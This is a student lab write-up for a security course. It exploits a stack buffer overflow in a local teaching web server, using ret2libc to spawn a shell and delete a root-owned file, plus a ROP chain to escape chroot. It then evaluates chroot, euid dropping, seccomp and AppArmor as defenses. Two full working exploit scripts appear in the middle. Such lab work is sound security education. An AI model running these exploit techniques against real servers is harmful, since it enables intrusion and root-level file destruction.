Information System Security Lab2 Record

Exploit vulnerable processes of web server to obtain shell (or delete root privilege file /tmp/test)

Experiment Environment Configuration

First, the experiment environment needs to be configured. Specifically, need to disable ASLR, then compile the target program, set privileges for touchstone and start the server.

1
2
3
4
5
sudo sysctl -w kernel.randomize_va_space=0
sudo make
sudo chown root touchstone
sudo chmod +s touchstone
./touchstone
Process information after server startup

Then use a browser to enter 127.0.0.1:80 to access the server interface, input username: lixiang and password: 123456 to register.

Perform exploit attack

First, use ldd to view the base address information of libc.so.6 loading as 0xf7d9d000.

1
ldd banksv
image-20240619110810753

Use ropper to view the offset address of “/bin/bash” string relative to the base address as 0x0018e363.

1
ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
image-20240619110952993

Use readelf to view the addresses of system, exit, unlink functions as 0x00041780, 0x000340c0, 0x0004f4100 respectively.

1
2
3
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " exit"
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " unlink"
image-20240619112513036

Then according to the server logs, we can see the ebp address as 0xffffd218.

image-20240619112956513

Need to locate the vulnerability point getToken function.

image-20240619123342290

The function uses a fixed-size character array s[1024], but doesn’t check if i exceeds the array bounds. When the number of characters read exceeds 1024, a buffer overflow occurs, which is a stack overflow, then attacks can be implemented by overwriting the return address.

1
2
3
4
5
6
char s[1024];
while (1){
// ...
s[i++] = c;
// ...
}

Modify the exploit-template.py script, replace the addresses with the above addresses. type1 is used to obtain shell, type2 is used to delete files. But first need to know what the vulnerability is.

To find the overflow position, we must find the distance between the position storing the return address in the getToken() stack frame and the buffer s. Since the buffer variable s has a length of 1024, this length must be greater than 1024. Use the following code for probing:

1
req += b'A' * 1024 + cyclic(200)

Run with python3 to get the following output.

1
python3 exploit1.py 2 
image-20240619124023743
1
sudo dmesg
image-20240619124114951

This is the kernel output log. We can see the return address was overwritten to 0x6161616c, which actually corresponds to “laaa”, then calculate the offset as 44, so 1024 + 44 = 1068 can overwrite the return address.

  • Obtain shell

    1
    python3 exploit_1.py 1
    image-20240619125150850

    The result is as shown above, the addresses are system function, exit function, “/bin/sh” address in order, which matches the stack structure we want to construct.

  • Delete file

    Next, test deleting /tmp/test.txt. First create /tmp/test.txt and change its owner to root.

    1
    2
    3
    touch /tmp/test.txt
    sudo chown root /tmp/test.txt
    ll /tmp/test.txt
    image-20240619125710551
    image-20240619125937003

The attack Python script is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/python  
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc base address
# ASLR shoud be off, so that libc's base address will not change untill next reboot
# you can use "ldd ./program" to check the libc base address
base_addr = 0xf7d9d000

# all of the offsets of functions (strings) inside libc vary little (sometimes change, previews check is needed) .
# to get the offset of a funtion, you can use:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# to get "/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# dead
d_addr = 0xdeadbeef


# ebp too make the task simple, we print ebp of getToken function (vulnerable)
ebp_addr = 0xffffd218



## Below is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the vulnerable web server and exploit it.

def build_exploit(shellcode, type):

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + 20

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# All of the header information other than "Content-Length" is not important
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# The Content-Length below is useful, and depends on the length of
# username plus password, you need to use wireshark (together with web browser)
# for checking the length
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')
# For different oses (and compilation), the length of fillup for
# hijacking the return address in the stack, could be different,
# therefore you need to debug the program for checking and adjusting.
req += b'A' * 1068
# b'C' * 4

# use "/bin/sh" string in libc
if type == 1:
req += p32(sys_addr)
req += p32(ex_addr)
req += p32(sh_addr)
req += p32(0)

# put "/bin/sh" string in the stack
# ebp is needed to locate the place of string
# Note: using this method, you can put arbitrary string in the stack,
# so that "system" can execute arbitrary command
#req += p32(sys_addr)
#req += p32(ex_addr)
#req += p32(sys_arg_addr)
#req += p32(0)
#req += sys_arg.encode('latin-1')


# remove a file specified by the path "ul_arg"
if type == 2:
req += p32(ul_addr)
req += p32(ex_addr)
req += p32(ul_arg_addr)
req += p32(0)
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# Below is the username/password that you can Register into the web server
# by using web browser. These information will be stored into the sqlite db behind.
# You need to change these information according to your own registration.

# Note that successful POST will be responded by the server with a hint page.
# By using the successful response, you can judge whether the server has been
# crashed (by exploit), so that you can adjust the fillup accordingly.
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#If you cannot use p32 (in pwnlib), you can use the following line
#req += (addr1).to_bytes(4, byteorder='little')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp = resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


if len(sys.argv) != 2:
print("Usage: " + sys.argv[0] + " type")
print("type: 1 for shell, 2 for unlink")
exit()

try:
shellcode = ""
req = build_exploit(shellcode, int(sys.argv[1]))
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

Problems Encountered

  1. When the server process ends and restarts, socket binding failure often occurs because port 80 is occupied. Port 80 is the default port of Apache server, so this problem can be solved by modifying Apache’s default port to 8080.

    1
    2
    3
    4
    5
    6
    7
    sudo su  
    systemctl disable apache2
    vim /etc/apache2/ports.conf
    # Change Listen 80... to: Listen 8080
    vim /etc/apache2/sites-available/000-default.conf
    # Change <VirtualHost *:80>... to: <VirtualHost *:8080>
    systemctl restart apache2
Image when Apache service listening port modification is successful
  1. I found that the ebp value changed when executing touchstone through setuid and sudo in these two different ways.

    1
    ./touchstone
    image-20240619162514457
    1
    sudo ./touchstone
    image-20240619162549093

    AI Answer: setuid and sudo provide different privilege escalation mechanisms. setuid runs the executable file with the file owner’s privileges by setting the executable file’s permissions, while sudo allows authorized users to temporarily elevate privileges to execute specific commands. The change in ebp value may be caused by different execution environments and security mechanisms, especially when involving privilege escalation.

Use chroot to constrain web server, perform exploit, delete root privilege file /tmp/test

Experiment Environment Configuration

To avoid affecting the previous experiment’s results, copy the code directory to code_chroot. Of course, still need to disable address randomization to avoid address changes.

1
cp -r ./code ./code_chroot

Perform chroot configuration

Add the following code in server.c:

1
2
if(chroot("/jail") == 0)  
printf("chroot success\n");
image-20240619132459140
1
2
3
4
make  
sudo ./chroot-setup.sh
cd /jail
sudo ./touchstone
image-20240619132644219

Perform exploit test

Create test files then start the server, found that “chroot success” information was successfully printed.

1
2
3
4
5
6
7
8
9
10
11
12
# Create test file in tmp directory  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# Create test file in /jail/tmp directory
sudo touch /jail/tmp/test.txt
sudo chown root /jail/tmp/test.txt
ll /jail/tmp/test.txt

# Start server in /jail directory
./touchstone
image-20240619135337160

The server process address information may change, use gdb to recheck (note that using ldd here is wrong, although it shows the same as before, need to use gdb to dynamically attach to see addresses).

Hint from the manual: The library in jail is separate, located under /jail/lib (different from the original path), so need to re-find the libc base address

1
2
3
ps -aux | grep banksv
sudo gdb -q -p <PID>
info proc map
image-20240619133412947
image-20240619133327610

Modify the script’s base_addr as exploit_2.py, then execute the delete file function. Found that \tmp\text.txt was not successfully deleted, but \jail\tmp\text.txt was deleted. Using dmesg to check kernel debug information found no segmentfault, indicating that chroot is effective, and test files outside the jail directory were not deleted.

image-20240619152219338

Delete /tmp/test.txt file

image-20240621163129108

Then try to delete the /tmp/test.txt file. This requires using chroot and chdir related calls to implement, so first need to find the related addresses.

1
2
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chroot"  
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "chdir"
image-20240621152017101
1
objdump -d banksv
image-20240621152216367

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#!/usr/bin/python
import sys
import socket
import traceback
import struct
import time
import os.path
import binascii
from pwn import *

# libc base address
# ASLR shoud be off, so that libc's base address will not change untill next reboot
# you can use "ldd ./program" to check the libc base address
base_addr = 0xf7db2000

# all of the offsets of functions (strings) inside libc won't change much (sometimes changed, so check is needed) .
# to get the offset of a funtion, you can use:
## readelf -a /lib/i386-linux-gnu/libc.so.6 | grep " system"
# to get "/bin/sh":
## ropper --file /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"

# system
sys_addr = base_addr + 0x00041780
# /bin/sh
sh_addr = base_addr + 0x0018e363
# exit
ex_addr = base_addr + 0x000340c0
# unlink
ul_addr = base_addr + 0x000f4100
# chroot
chr_addr = base_addr + 0x000fce60
#chdir
chd_addr = base_addr + 0x000f2c70
# pop-ret
pop_addr = 0x080d19a4
# dead
d_addr = 0xdeadbeef
# ebp too make the task simple, we print ebp of getToken function (vulnerable)
ebp_addr = 0xffffd218

## Below is the function that you should modify to construct an
## HTTP request that will cause a buffer overflow in some part
## of the vulnerable web server and exploit it.

def build_exploit(shellcode):
shift_val = 19 * 4

chd_arg = "..\0\0"
chd_arg_addr = ebp_addr + shift_val

chr_arg2 = "server\0\0"
chr_arg2_addr = ebp_addr + shift_val + 4

chr_arg = ".\0\0\0"
chr_arg_addr = ebp_addr + shift_val + 12

ul_arg = "/tmp/test.txt\0"
ul_arg_addr = ebp_addr + shift_val + 16

sys_arg = "/bin/sh\0"
sys_arg_addr = ebp_addr + 20

req = ("POST / HTTP/1.1\r\n").encode('latin-1')
# All of the header information other than "Content-Length" is not important
req += ("Host: 127.0.0.1\r\n").encode('latin-1')
# The Content-Length below is useful, and depends on the length of
# username plus password, you need to use wireshark (together with web browser)
# for checking the length
req += ("Content-Length: 58\r\n").encode('latin-1')
req += ("Origin: http://127.0.0.1\r\n").encode('latin-1')
req += ("Connection: keep-alive\r\n").encode('latin-1')
req += ("Referer: http://127.0.0.1/\r\n").encode('latin-1')

req += ("Hacking: ").encode('latin-1')

# For different oses (and compilation), the length of fillup for
# hijacking the return address in the stack, could be different,
# therefore you need to debug the program for checking and adjusting.

req += b'A' * 1068

# remove a file use jail breaking
req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg2_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chd_addr)
req += p32(pop_addr)
req += p32(chd_arg_addr)

req += p32(chr_addr)
req += p32(pop_addr)
req += p32(chr_arg_addr)

req += p32(ul_addr)
req += p32(pop_addr)
req += p32(ul_arg_addr)

req += p32(ex_addr)
req += p32(0)
req += p32(0)

# 19 * 4
req += chd_arg.encode('latin-1')
# 19 * 4 + 4
req += chr_arg2.encode('latin-1')
# 16 * 4 + 12
req += chr_arg.encode('latin-1')
# 16 * 4 + 16
req += ul_arg.encode('latin-1')


req += ("\r\n").encode('latin-1')
req += ("\r\n").encode('latin-1')

# Below is the username/password that you can Register into the web server
# by using web browser. These information will be stored into the sqlite db behind.
# You need to change these information according to your own registration.

# Note that successful POST will be responded by the server with a hint page.
# By using the successful response, you can judge whether the server has been
# crashed (by exploit), so that you can adjust the fillup accordingly.
req += ("login_username=lixiang&login_password=123456&submit_login=Login").encode('latin-1')

print(req)
return req

#req += (addr1).to_bytes(4, byteorder='little')
#req += ("@@@@").encode('latin-1')


def send_req(host, port, req):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print("Connecting to %s:%d..." % (host, port))
sock.connect((host, port))

print("Connected, sending request...")
sock.send(req)

print("Request sent, waiting for reply...")
rbuf = sock.recv(1024)
resp = ("").encode("latin-1")
while len(rbuf):
resp=resp+rbuf
rbuf = sock.recv(1024)

print("Received reply.")
sock.close()
return resp


try:
shellcode = ""
if(os.path.exists("shellcode.bin")):
shellfile = open("shellcode.bin", "r")
shellcode = shellfile.read()
req = build_exploit(shellcode)
print("HTTP request:")
print(req)

resp = send_req("127.0.0.1", 80, req)
print("HTTP response:")
print(resp)
except:
print("Exception:")
print(traceback.format_exc())

Defense Result Analysis

chroot is a technique used to change the root directory of the current process and its child processes. Through chroot, a process and its child processes can be restricted to a specific directory tree, preventing them from accessing files and resources outside the directory tree. This technique is commonly used to enhance system security, especially for isolating service programs (such as web servers) to limit the scope of potential attack impacts.

chroot changes the root directory of the calling process, making the process believe that the specified directory is the root directory / of the file system. In this way, the process cannot access any files or directories outside this directory, thus achieving process isolation to some extent.

Change process euid, test exploit

Experiment Environment Configuration

To avoid affecting the previous experiment’s results, copy the code directory to code_euid. Of course, still need to disable address randomization to avoid address changes.

1
cp -r ./code ./code_euid

Perform euid configuration

Add the following code at the fork child process code location in server.c:

1
2
setresuid(1000,1000,1000);
printf("User IDs successfully set to 1000.\n");
image-20240619153144782
1
2
3
make  
sudo chown root touchstone
sudo chmod +s touchstone

Perform exploit test

Create test files then start the server, found that “User IDs successfully set to 1000” information was successfully printed.

1
2
3
4
5
6
7
# Create test file in tmp directory  
sudo touch /tmp/test.txt
sudo chown root /tmp/test.txt
ll /tmp/test.txt

# Start server
./touchstone
image-20240619153651371

Execute the script. Since there’s no difference from task one and the address hasn’t changed, directly use exploit_1.py.

Perform shell acquisition test, found that shell can be obtained but in non-privileged mode.

1
python3 exploit_1.py 1 # Try to get shell
image-20240621144856371
1
python3 exploit_1.py 2 # Try to delete file

Perform file deletion test, found that the /tmp/test.txt file still exists and was not deleted.

image-20240619153901043

We can try to modify the owner of this file to myself and see if it can be deleted.

1
2
# Modify test file owner
sudo chown lixiang:root /tmp/test.txt
image-20240619154643560
image-20240619161636645

Defense Result Analysis

This defense mainly prevents malicious operations as high-privilege users by reducing the privileges of the 3 child processes started by the server. From the above results, we can also find that after actively giving up root privileges, files owned by root cannot be deleted, but when the file owner is changed to lixiang (ordinary user), the test file can be deleted normally. We also found a phenomenon that even if the file’s user group is root, it can still be deleted, indicating that when deleting files, it has nothing to do with the user group, but is related to the file owner.

Use seccomp to constrain web server’s vulnerable process, test exploit

Experiment Environment Configuration

Similarly copy the code to create a new code_seccomp

1
cp -r ./code ./code_seccomp

Can use the following commands to check if the kernel has enabled seccomp:

1
2
3
4
5
# Check if seccomp support is enabled: 
grep CONFIG_SECCOMP= /boot/config-$(uname -r)

# Check if seccomp filter is enabled:
grep CONFIG_SECCOMP_FILTER= /boot/config-$(uname -r)
image-20240619164635614

If the output is: CONFIG_SECCOMP=y and CONFIG_SECCOMP_FILTER=y, it means the kernel has enabled seccomp. To check if a specific process has enabled seccomp, use the following command:

1
cat /proc/<pid>/status | grep Seccomp

Where represents the process PID, can use ps -au to view. If the output contains a Seccomp field, it means the process uses seccomp. If there’s no such field, it means the process doesn’t use seccomp.

Modify the makefile file, add -lseccomp to the compilation options for banksv

image-20240619170121404

Found that an additional libseccomp.so.2 library was added, so the base address of libc.so.6 changed, just modify it in the script.

image-20240619173424478

Perform seccomp coding

Default allow, explicit deny

Modify banksv.c, add the following code, initialize with default allow rules, and add rules to deny unlink, then load seccomp.

image-20240619165715018
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <seccomp.h>  
void init_seccomp()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
if(ctx == NULL) { exit(-1); }
ret = seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(unlink), 0);

if(ret < 0) { exit(-1); }
ret = seccomp_load(ctx);

if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}
int main(int argc, char** argv) {

init_seccomp();

}

Compile and run server

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

Default deny, explicit allow

Modify banksv.c, add the following code, deny all rules by default, and add allowed rules, then load seccomp.

image-20240619172906034
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void setup_deny_bydefault_rules()
{
int ret;
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if(ctx == NULL) { exit(-1); }

seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigaction), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(socketcall), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(set_robust_list), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getresuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getcwd), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(statx), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(_llseek), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fcntl64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchmod), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat64), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(geteuid32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchown32), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fsync), 0);

// Permissions needed by attack program
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(system), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(unlink), 0);

ret = seccomp_load(ctx);
if(ret < 0) { exit(-1); }
seccomp_release(ctx);
}

Compile and run server

1
2
3
4
sudo make  
sudo chown root touchstone
sudo chmod +s touchstone
sudo ./touchstone

Perform exploit test

Default allow, explicit deny

First create test files

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

Both file deletion and shell acquisition failed, and there will also be system error report popups. The specific results are as shown below, with two audit logs appearing in the dmesg kernel messages.

image-20240619172118447

This approach will bring negative effects, such as inability to register and connection reset.

image-20240619171801241

Default deny, explicit allow

First create test files

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

Both file deletion and shell acquisition failed, results as shown below:

image-20240621133745249

With the help of AI, the meaning of the audit logs is as follows

image-20240621134819072

But I feel this is more troublesome, must determine which system calls need to be used, personally think it’s not as good as the previous one.

Defense Result Analysis

seccomp (full name secure computing mode) is a sandbox security mechanism. In Linux systems, a large number of system calls are directly exposed to user-space programs. However, not all system calls are needed, and unsafe code abusing system calls can pose security threats to the system. Through seccomp, restrict programs from using certain system calls, which can reduce the system’s attack surface and put programs into a “secure” state, similar to a firewall for system calls.

Use AppArmor to constrain web server’s vulnerable process, test exploit

Experiment Environment Configuration

Use cp to create a new code directory code_apparmor, then need to start apparmor and install related tools.

1
2
3
4
5
cp -r ./code ./code_apparmor

# Install AppArmor and related tools
sudo systemctl start apparmor
sudo apt install apparmor-profiles apparmor-utils

Apply AppArmor

After the server starts running, use aa-genprof to generate configuration file for banksv in the directory:

1
2
3
sudo ./touchstone 

sudo aa-genprof banksv

Press F to skip, and combine aa-logprof with manually adding rules to improve the configuration file. The configuration file path is /etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv.

image-20240619184538978

Open the configuration file and write the following content:

image-20240619185627994
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Last Modified: Wed Jun 19 03:45:02 2024
#include <tunables/global>

/home/lixiang/Desktop/lab2/code_apparmor/banksv {

# Include apache2-common and base abstractions, these abstractions contain some common permission settings.
include <abstractions/apache2-common>
include <abstractions/base>

# Deny read/write operations on any files in /tmp directory
deny /tmp/** mrwx,

# Allow read-only access to all files in code_task5 directory
/home/lixiang/Desktop/lab2/code_apparmor/** mr,

}

Reload the configuration file to make the above configuration file effective:

1
sudo apparmor_parser -r /etc/apparmor.d/home.lixiang.Desktop.lab2.code_apparmor.banksv

Perform exploit test

First create test files

1
2
3
sudo touch /tmp/test.txt  
sudo chown root /tmp/test.txt
ll /tmp/test.txt

File deletion failed:

image-20240619190107460

Shell acquisition failed:

image-20240619190000149

Use dmesg to view kernel output logs, found two deny rules, exactly shell execution and unlink:

image-20240619191557469

Problems Encountered

Once defining deny for /tmp folder in the configuration file, using dmesg cannot see the unlink denied message, but not defining it can see it, which feels very strange. Another possibility is that the included configuration files themselves contain the most basic access control, including unlink, but file path restrictions will directly cause a problem which is access interception, file access requests are completely intercepted at the file system level, programs may not have the opportunity to try unlink operations.

1
2
# Deny read/write operations on any files in /tmp directory  
deny /tmp/** mrwx,

Defense Result Analysis

AppArmor (Application Armor) is a Linux kernel security module used to limit program capabilities, allowing system administrators to define what resources each program can access. AppArmor uses a path-based access control mechanism, defining program security policies through configuration files.

Main features of AppArmor:

  1. Path-based access control:
    • Use file system paths to define access control rules.
    • Configuration files specify which files, directories and resources programs can access.
  2. Configuration files:
    • Each protected program has a corresponding configuration file, usually located in the /etc/apparmor.d/ directory.
    • Configuration files define program permissions, including file access, network access, capabilities, etc.
  3. Two modes:
    • Enforcing mode: Strictly enforce rules in configuration files, any behavior violating rules will be blocked and logged.
    • Complain mode: Log behavior violating rules, but don’t block operations. This mode is commonly used for debugging and configuring rules.
  4. Integrated into Linux kernel:
    • As part of Linux Security Modules (LSM), directly implemented in the kernel, providing efficient security control.
  5. Flexibility:
    • Support different abstraction files (such as <abstractions/base> and <abstractions/apache2-common>), used to simplify configuration of common permissions.